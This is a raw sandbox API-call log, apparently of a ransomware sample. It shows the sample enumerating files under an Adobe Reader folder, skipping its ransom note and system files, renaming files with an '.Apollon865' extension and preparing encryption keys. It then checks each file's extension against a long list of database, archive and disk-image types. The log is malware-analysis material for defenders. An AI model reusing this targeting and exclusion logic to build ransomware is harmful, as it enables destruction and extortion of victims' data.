	[0057.094] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.094] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0057.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0057.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.095] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.095] CloseHandle (hObject=0x15c) returned 1
	[0057.095] CloseHandle (hObject=0xc0) returned 1
	[0057.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0057.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.096] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lit.hyp", cAlternateFileName="")) returned 1
	[0057.096] lstrcmpiW (lpString1="lit.hyp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.096] lstrcmpiW (lpString1="lit.hyp", lpString2="Apollon865.txt.exe") returned 1
	[0057.096] lstrcmpiW (lpString1="lit.hyp", lpString2=".") returned 1
	[0057.096] lstrcmpiW (lpString1="lit.hyp", lpString2="..") returned 1
	[0057.096] lstrcmpiW (lpString1="lit.hyp", lpString2="windows") returned -1
	[0057.096] lstrcmpiW (lpString1="lit.hyp", lpString2="bootmgr") returned 1
	[0057.096] lstrcmpiW (lpString1="lit.hyp", lpString2="temp") returned -1
	[0057.096] lstrcmpiW (lpString1="lit.hyp", lpString2="pagefile.sys") returned -1
	[0057.096] lstrcmpiW (lpString1="lit.hyp", lpString2="boot") returned 1
	[0057.096] lstrcmpiW (lpString1="lit.hyp", lpString2="ids.txt") returned 1
	[0057.096] lstrcmpiW (lpString1="lit.hyp", lpString2="ntuser.dat") returned -1
	[0057.096] lstrcmpiW (lpString1="lit.hyp", lpString2="perflogs") returned -1
	[0057.096] lstrcmpiW (lpString1="lit.hyp", lpString2="MSBuild") returned -1
	[0057.096] lstrlenW (lpString="lit.hyp") returned 7
	[0057.096] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lavphon.env") returned 99
	[0057.096] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\litphon.env.Apollon865") returned 110
	[0057.096] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\litphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\litphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\litphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\litphon.env.apollon865"), dwFlags=0x1) returned 1
	[0057.098] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\litphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\litphon.env.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0057.098] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2648) returned 1
	[0057.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0057.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.099] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.100] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.100] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.100] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd60, lpName=0x0) returned 0x15c
	[0057.101] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd60) returned 0x120000
	[0057.102] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0057.102] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.102] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0057.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0057.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.103] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.103] CloseHandle (hObject=0x15c) returned 1
	[0057.103] CloseHandle (hObject=0xc0) returned 1
	[0057.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0057.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.104] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de47620, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nrw.fca", cAlternateFileName="")) returned 1
	[0057.104] lstrcmpiW (lpString1="nrw.fca", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.104] lstrcmpiW (lpString1="nrw.fca", lpString2="Apollon865.txt.exe") returned 1
	[0057.104] lstrcmpiW (lpString1="nrw.fca", lpString2=".") returned 1
	[0057.104] lstrcmpiW (lpString1="nrw.fca", lpString2="..") returned 1
	[0057.104] lstrcmpiW (lpString1="nrw.fca", lpString2="windows") returned -1
	[0057.104] lstrcmpiW (lpString1="nrw.fca", lpString2="bootmgr") returned 1
	[0057.104] lstrcmpiW (lpString1="nrw.fca", lpString2="temp") returned -1
	[0057.104] lstrcmpiW (lpString1="nrw.fca", lpString2="pagefile.sys") returned -1
	[0057.104] lstrcmpiW (lpString1="nrw.fca", lpString2="boot") returned 1
	[0057.104] lstrcmpiW (lpString1="nrw.fca", lpString2="ids.txt") returned 1
	[0057.104] lstrcmpiW (lpString1="nrw.fca", lpString2="ntuser.dat") returned -1
	[0057.104] lstrcmpiW (lpString1="nrw.fca", lpString2="perflogs") returned -1
	[0057.104] lstrcmpiW (lpString1="nrw.fca", lpString2="MSBuild") returned 1
	[0057.104] lstrlenW (lpString="nrw.fca") returned 7
	[0057.104] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\litphon.env") returned 99
	[0057.105] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rumphon.env.Apollon865") returned 110
	[0057.105] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rumphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rumphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rumphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rumphon.env.apollon865"), dwFlags=0x1) returned 1
	[0057.107] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rumphon.env.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rumphon.env.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0057.108] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=9336) returned 1
	[0057.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0057.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.108] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.109] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.109] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.109] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2780, lpName=0x0) returned 0x15c
	[0057.110] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2780) returned 0x120000
	[0057.111] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0057.112] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.112] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.112] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0057.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0057.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.113] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.113] CloseHandle (hObject=0x15c) returned 1
	[0057.113] CloseHandle (hObject=0xc0) returned 1
	[0057.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0057.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.113] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e05c960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rus.fca", cAlternateFileName="")) returned 1
	[0057.113] lstrcmpiW (lpString1="rus.fca", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.113] lstrcmpiW (lpString1="rus.fca", lpString2="Apollon865.txt.exe") returned 1
	[0057.113] lstrcmpiW (lpString1="rus.fca", lpString2=".") returned 1
	[0057.113] lstrcmpiW (lpString1="rus.fca", lpString2="..") returned 1
	[0057.113] lstrcmpiW (lpString1="rus.fca", lpString2="windows") returned -1
	[0057.113] lstrcmpiW (lpString1="rus.fca", lpString2="bootmgr") returned 1
	[0057.113] lstrcmpiW (lpString1="rus.fca", lpString2="temp") returned -1
	[0057.113] lstrcmpiW (lpString1="rus.fca", lpString2="pagefile.sys") returned 1
	[0057.114] lstrcmpiW (lpString1="rus.fca", lpString2="boot") returned 1
	[0057.114] lstrcmpiW (lpString1="rus.fca", lpString2="ids.txt") returned 1
	[0057.114] lstrcmpiW (lpString1="rus.fca", lpString2="ntuser.dat") returned 1
	[0057.114] lstrcmpiW (lpString1="rus.fca", lpString2="perflogs") returned 1
	[0057.114] lstrcmpiW (lpString1="rus.fca", lpString2="MSBuild") returned 1
	[0057.114] lstrlenW (lpString="rus.fca") returned 7
	[0057.114] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rumphon.env") returned 99
	[0057.114] lstrcmpiW (lpString1="rus.fca", lpString2=".dll") returned 1
	[0057.114] lstrlenW (lpString=".lnk") returned 4
	[0057.114] lstrcmpiW (lpString1="rus.fca", lpString2=".lnk") returned 1
	[0057.114] lstrlenW (lpString=".ini") returned 4
	[0057.114] lstrcmpiW (lpString1="rus.fca", lpString2=".ini") returned 1
	[0057.114] lstrlenW (lpString=".sys") returned 4
	[0057.114] lstrcmpiW (lpString1="rus.fca", lpString2=".sys") returned 1
	[0057.114] lstrlenW (lpString="rus.fca") returned 7
	[0057.114] lstrlenW (lpString="bak") returned 3
	[0057.114] lstrcmpiW (lpString1="fca", lpString2="bak") returned 1
	[0057.114] lstrlenW (lpString="ba_") returned 3
	[0057.114] lstrcmpiW (lpString1="fca", lpString2="ba_") returned 1
	[0057.114] lstrlenW (lpString="dbb") returned 3
	[0057.114] lstrcmpiW (lpString1="fca", lpString2="dbb") returned 1
	[0057.114] lstrlenW (lpString="vmdk") returned 4
	[0057.114] lstrcmpiW (lpString1=".fca", lpString2="vmdk") returned -1
	[0057.114] lstrlenW (lpString="rar") returned 3
	[0057.114] lstrcmpiW (lpString1="fca", lpString2="rar") returned -1
	[0057.114] lstrlenW (lpString="zip") returned 3
	[0057.114] lstrcmpiW (lpString1="fca", lpString2="zip") returned -1
	[0057.114] lstrlenW (lpString="tgz") returned 3
	[0057.114] lstrcmpiW (lpString1="fca", lpString2="tgz") returned -1
	[0057.114] lstrlenW (lpString="vbox") returned 4
	[0057.114] lstrcmpiW (lpString1=".fca", lpString2="vbox") returned -1
	[0057.114] lstrlenW (lpString="vdi") returned 3
	[0057.114] lstrcmpiW (lpString1="fca", lpString2="vdi") returned -1
	[0057.115] lstrlenW (lpString="vhd") returned 3
	[0057.115] lstrcmpiW (lpString1="fca", lpString2="vhd") returned -1
	[0057.115] lstrlenW (lpString="vhdx") returned 4
	[0057.115] lstrcmpiW (lpString1=".fca", lpString2="vhdx") returned -1
	[0057.115] lstrlenW (lpString="avhd") returned 4
	[0057.115] lstrcmpiW (lpString1=".fca", lpString2="avhd") returned -1
	[0057.115] lstrlenW (lpString="db") returned 2
	[0057.115] lstrcmpiW (lpString1="ca", lpString2="db") returned -1
	[0057.115] lstrlenW (lpString="db2") returned 3
	[0057.115] lstrcmpiW (lpString1="fca", lpString2="db2") returned 1
	[0057.115] lstrlenW (lpString="db3") returned 3
	[0057.115] lstrcmpiW (lpString1="fca", lpString2="db3") returned 1
	[0057.115] lstrlenW (lpString="dbf") returned 3
	[0057.115] lstrcmpiW (lpString1="fca", lpString2="dbf") returned 1
	[0057.115] lstrlenW (lpString="mdf") returned 3
	[0057.115] lstrcmpiW (lpString1="fca", lpString2="mdf") returned -1
	[0057.115] lstrlenW (lpString="mdb") returned 3
	[0057.115] lstrcmpiW (lpString1="fca", lpString2="mdb") returned -1
	[0057.115] lstrlenW (lpString="sql") returned 3
	[0057.115] lstrcmpiW (lpString1="fca", lpString2="sql") returned -1
	[0057.115] lstrlenW (lpString="sqlite") returned 6
	[0057.115] lstrcmpiW (lpString1="us.fca", lpString2="sqlite") returned 1
	[0057.115] lstrlenW (lpString="sqlite3") returned 7
	[0057.115] lstrlenW (lpString="sqlitedb") returned 8
	[0057.115] lstrlenW (lpString="xml") returned 3
	[0057.115] lstrcmpiW (lpString1="fca", lpString2="xml") returned -1
	[0057.115] lstrlenW (lpString="$er") returned 3
	[0057.115] lstrcmpiW (lpString1="fca", lpString2="$er") returned 1
	[0057.115] lstrlenW (lpString="4dd") returned 3
	[0057.115] lstrcmpiW (lpString1="fca", lpString2="4dd") returned 1
	[0057.115] lstrlenW (lpString="4dl") returned 3
	[0057.115] lstrcmpiW (lpString1="fca", lpString2="4dl") returned 1
	[0057.115] lstrlenW (lpString="^^^") returned 3
	[0057.115] lstrcmpiW (lpString1="fca", lpString2="^^^") returned 1
	[0057.115] lstrlenW (lpString="abs") returned 3
	[0057.116] lstrcmpiW (lpString1="fca", lpString2="abs") returned 1
	[0057.116] lstrlenW (lpString="abx") returned 3
	[0057.116] lstrcmpiW (lpString1="fca", lpString2="abx") returned 1
	[0057.116] lstrlenW (lpString="accdb") returned 5
	[0057.116] lstrcmpiW (lpString1="s.fca", lpString2="accdb") returned 1
	[0057.116] lstrlenW (lpString="accdc") returned 5
	[0057.116] lstrcmpiW (lpString1="s.fca", lpString2="accdc") returned 1
	[0057.116] lstrlenW (lpString="accde") returned 5
	[0057.116] lstrcmpiW (lpString1="s.fca", lpString2="accde") returned 1
	[0057.116] lstrlenW (lpString="accdr") returned 5
	[0057.116] lstrcmpiW (lpString1="s.fca", lpString2="accdr") returned 1
	[0057.116] lstrlenW (lpString="accdt") returned 5
	[0057.116] lstrcmpiW (lpString1="s.fca", lpString2="accdt") returned 1
	[0057.116] lstrlenW (lpString="accdw") returned 5
	[0057.116] lstrcmpiW (lpString1="s.fca", lpString2="accdw") returned 1
	[0057.116] lstrlenW (lpString="accft") returned 5
	[0057.116] lstrcmpiW (lpString1="s.fca", lpString2="accft") returned 1
	[0057.116] lstrlenW (lpString="adb") returned 3
	[0057.116] lstrcmpiW (lpString1="fca", lpString2="adb") returned 1
	[0057.116] lstrlenW (lpString="adb") returned 3
	[0057.116] lstrcmpiW (lpString1="fca", lpString2="adb") returned 1
	[0057.116] lstrlenW (lpString="ade") returned 3
	[0057.116] lstrcmpiW (lpString1="fca", lpString2="ade") returned 1
	[0057.116] lstrlenW (lpString="adf") returned 3
	[0057.116] lstrcmpiW (lpString1="fca", lpString2="adf") returned 1
	[0057.116] lstrlenW (lpString="adn") returned 3
	[0057.116] lstrcmpiW (lpString1="fca", lpString2="adn") returned 1
	[0057.116] lstrlenW (lpString="adp") returned 3
	[0057.116] lstrcmpiW (lpString1="fca", lpString2="adp") returned 1
	[0057.116] lstrlenW (lpString="alf") returned 3
	[0057.116] lstrcmpiW (lpString1="fca", lpString2="alf") returned 1
	[0057.116] lstrlenW (lpString="ask") returned 3
	[0057.116] lstrcmpiW (lpString1="fca", lpString2="ask") returned 1
	[0057.116] lstrlenW (lpString="btr") returned 3
	[0057.117] lstrcmpiW (lpString1="fca", lpString2="btr") returned 1
	[0057.117] lstrlenW (lpString="cat") returned 3
	[0057.117] lstrcmpiW (lpString1="fca", lpString2="cat") returned 1
	[0057.117] lstrlenW (lpString="cdb") returned 3
	[0057.117] lstrcmpiW (lpString1="fca", lpString2="cdb") returned 1
	[0057.117] lstrlenW (lpString="ckp") returned 3
	[0057.117] lstrcmpiW (lpString1="fca", lpString2="ckp") returned 1
	[0057.117] lstrlenW (lpString="cma") returned 3
	[0057.117] lstrcmpiW (lpString1="fca", lpString2="cma") returned 1
	[0057.117] lstrlenW (lpString="cpd") returned 3
	[0057.117] lstrcmpiW (lpString1="fca", lpString2="cpd") returned 1
	[0057.117] lstrlenW (lpString="dacpac") returned 6
	[0057.117] lstrcmpiW (lpString1="us.fca", lpString2="dacpac") returned 1
	[0057.117] lstrlenW (lpString="dad") returned 3
	[0057.117] lstrcmpiW (lpString1="fca", lpString2="dad") returned 1
	[0057.117] lstrlenW (lpString="dadiagrams") returned 10
	[0057.117] lstrlenW (lpString="daschema") returned 8
	[0057.117] lstrlenW (lpString="db-journal") returned 10
	[0057.117] lstrlenW (lpString="db-shm") returned 6
	[0057.117] lstrcmpiW (lpString1="us.fca", lpString2="db-shm") returned 1
	[0057.117] lstrlenW (lpString="db-wal") returned 6
	[0057.117] lstrcmpiW (lpString1="us.fca", lpString2="db-wal") returned 1
	[0057.117] lstrlenW (lpString="dbc") returned 3
	[0057.117] lstrcmpiW (lpString1="fca", lpString2="dbc") returned 1
	[0057.117] lstrlenW (lpString="dbs") returned 3
	[0057.117] lstrcmpiW (lpString1="fca", lpString2="dbs") returned 1
	[0057.117] lstrlenW (lpString="dbt") returned 3
	[0057.117] lstrcmpiW (lpString1="fca", lpString2="dbt") returned 1
	[0057.117] lstrlenW (lpString="dbv") returned 3
	[0057.117] lstrcmpiW (lpString1="fca", lpString2="dbv") returned 1
	[0057.117] lstrlenW (lpString="dbx") returned 3
	[0057.117] lstrcmpiW (lpString1="fca", lpString2="dbx") returned 1
	[0057.117] lstrlenW (lpString="dcb") returned 3
	[0057.117] lstrcmpiW (lpString1="fca", lpString2="dcb") returned 1
	[0057.118] lstrlenW (lpString="dct") returned 3
	[0057.118] lstrcmpiW (lpString1="fca", lpString2="dct") returned 1
	[0057.118] lstrlenW (lpString="dcx") returned 3
	[0057.118] lstrcmpiW (lpString1="fca", lpString2="dcx") returned 1
	[0057.118] lstrlenW (lpString="ddl") returned 3
	[0057.118] lstrcmpiW (lpString1="fca", lpString2="ddl") returned 1
	[0057.118] lstrlenW (lpString="dlis") returned 4
	[0057.118] lstrcmpiW (lpString1=".fca", lpString2="dlis") returned -1
	[0057.118] lstrlenW (lpString="dp1") returned 3
	[0057.118] lstrcmpiW (lpString1="fca", lpString2="dp1") returned 1
	[0057.118] lstrlenW (lpString="dqy") returned 3
	[0057.118] lstrcmpiW (lpString1="fca", lpString2="dqy") returned 1
	[0057.118] lstrlenW (lpString="dsk") returned 3
	[0057.118] lstrcmpiW (lpString1="fca", lpString2="dsk") returned 1
	[0057.118] lstrlenW (lpString="dsn") returned 3
	[0057.118] lstrcmpiW (lpString1="fca", lpString2="dsn") returned 1
	[0057.118] lstrlenW (lpString="dtsx") returned 4
	[0057.118] lstrcmpiW (lpString1=".fca", lpString2="dtsx") returned -1
	[0057.118] lstrlenW (lpString="dxl") returned 3
	[0057.118] lstrcmpiW (lpString1="fca", lpString2="dxl") returned 1
	[0057.118] lstrlenW (lpString="eco") returned 3
	[0057.118] lstrcmpiW (lpString1="fca", lpString2="eco") returned 1
	[0057.118] lstrlenW (lpString="ecx") returned 3
	[0057.118] lstrcmpiW (lpString1="fca", lpString2="ecx") returned 1
	[0057.118] lstrlenW (lpString="edb") returned 3
	[0057.118] lstrcmpiW (lpString1="fca", lpString2="edb") returned 1
	[0057.118] lstrlenW (lpString="epim") returned 4
	[0057.118] lstrcmpiW (lpString1=".fca", lpString2="epim") returned -1
	[0057.118] lstrlenW (lpString="fcd") returned 3
	[0057.118] lstrcmpiW (lpString1="fca", lpString2="fcd") returned -1
	[0057.118] lstrlenW (lpString="fdb") returned 3
	[0057.118] lstrcmpiW (lpString1="fca", lpString2="fdb") returned -1
	[0057.118] lstrlenW (lpString="fic") returned 3
	[0057.119] lstrcmpiW (lpString1="fca", lpString2="fic") returned -1
	[0057.119] lstrlenW (lpString="flexolibrary") returned 12
	[0057.119] lstrlenW (lpString="fm5") returned 3
	[0057.119] lstrcmpiW (lpString1="fca", lpString2="fm5") returned -1
	[0057.119] lstrlenW (lpString="fmp") returned 3
	[0057.119] lstrcmpiW (lpString1="fca", lpString2="fmp") returned -1
	[0057.119] lstrlenW (lpString="fmp12") returned 5
	[0057.119] lstrcmpiW (lpString1="s.fca", lpString2="fmp12") returned 1
	[0057.119] lstrlenW (lpString="fmpsl") returned 5
	[0057.119] lstrcmpiW (lpString1="s.fca", lpString2="fmpsl") returned 1
	[0057.119] lstrlenW (lpString="fol") returned 3
	[0057.119] lstrcmpiW (lpString1="fca", lpString2="fol") returned -1
	[0057.119] lstrlenW (lpString="fp3") returned 3
	[0057.119] lstrcmpiW (lpString1="fca", lpString2="fp3") returned -1
	[0057.119] lstrlenW (lpString="fp4") returned 3
	[0057.119] lstrcmpiW (lpString1="fca", lpString2="fp4") returned -1
	[0057.119] lstrlenW (lpString="fp5") returned 3
	[0057.119] lstrcmpiW (lpString1="fca", lpString2="fp5") returned -1
	[0057.119] lstrlenW (lpString="fp7") returned 3
	[0057.119] lstrcmpiW (lpString1="fca", lpString2="fp7") returned -1
	[0057.119] lstrlenW (lpString="fpt") returned 3
	[0057.119] lstrcmpiW (lpString1="fca", lpString2="fpt") returned -1
	[0057.119] lstrlenW (lpString="frm") returned 3
